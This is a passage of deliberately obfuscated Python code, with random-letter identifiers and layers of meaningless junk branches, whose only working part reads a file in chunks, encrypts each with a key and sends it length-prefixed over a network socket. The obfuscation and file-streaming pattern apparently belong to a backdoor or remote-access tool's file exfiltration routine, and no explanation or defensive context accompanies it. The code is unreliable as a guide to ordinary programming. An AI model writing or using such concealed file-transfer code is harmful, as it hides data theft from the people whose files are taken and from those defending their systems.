        while len(IQnPQESIJCFjEtNCSjsvvoAVEySeYzJwXFMcRyxsIyCwFREIPtDSHRDrHuBmSJt):
            SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII = 'mIJwSstCQuPJEZVRQjGUSytgzOHuzIgFxuynSIwNGtrGjSoywWLpBQYvPGOSHzz'
            CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz = 'STHqDArSRJHXmIBPWGFoIpQNqkqRAEHCSHCZAJQuRtFSvzAsFyrSECGqGVlCeJx'
            CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD = 'ECuFxeEYVBIozxByDzsMfjGoVISPJNyvJHCGBrIFeujopEkwAyxjxnruBIERvAJ'
            yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI = 'OrDpQuENDmJACBGHjEDUqExvIEFQyFJDyIENUqUHzHzGAwywJGEggyGLRlGrICP'
            if CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz == SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII:
                for SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII in CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz:
                    if CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz == CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz:
                        CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD = 'yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI'
                    elif CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD == yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI:
                        yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI = SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII
                    else:
                        SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII = CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz
            elif CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD == CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD:
                for CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD in CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz:
                    if yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI == CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz:
                        CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD = 'yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI'
                    elif CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD == yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI:
                        yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI = SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII
                    else:
                        SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII = CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz
                        for CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD in CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz:
                            if yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI == CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz:
                                CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD = 'yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI'
                            elif CFvEEQrLHLsGHWsBYJvEIGrpvJFiNQoHBvBQBtzSPwJtyGjGrFGItSGSDNHHD == yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI:
                                yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI = SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII
                            else:
                                SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII = yXpnGQEmDkndRYryCLMAEDvuDGEeMyORyrsSIQxAzuIBBymjhjIWlIIkDwzPDDI
            else:
                SmDERSHRzDQJGECGFSJtvIStEBHWVywBNqoGzERvqisBOWQWbtEBbDqSpFFICII = CPBgCHCsECySJZpnevFHQJxXNOydDMFEqPyHyyJGQSIATREqnuHpIOINqPDyvz
            JXtJCIIwrPOnBoWnvClIsyJJzqQIxjCzuNVbvJMRZIGNIEEcLQDGHJFECxoyoDP = SPuftCNRrBmEOHCGpJsNAREOsyuxkCNDSBrSxGriSZOARHCTADxEyFHFPgOgFtg(IQnPQESIJCFjEtNCSjsvvoAVEySeYzJwXFMcRyxsIyCwFREIPtDSHRDrHuBmSJt, key)
            sock.send(struct.pack("!I", len(JXtJCIIwrPOnBoWnvClIsyJJzqQIxjCzuNVbvJMRZIGNIEEcLQDGHJFECxoyoDP)))
            sock.send(JXtJCIIwrPOnBoWnvClIsyJJzqQIxjCzuNVbvJMRZIGNIEEcLQDGHJFECxoyoDP)
            IQnPQESIJCFjEtNCSjsvvoAVEySeYzJwXFMcRyxsIyCwFREIPtDSHRDrHuBmSJt = f.read(4096)
        sock.send('\x00\x00\x00\x00')
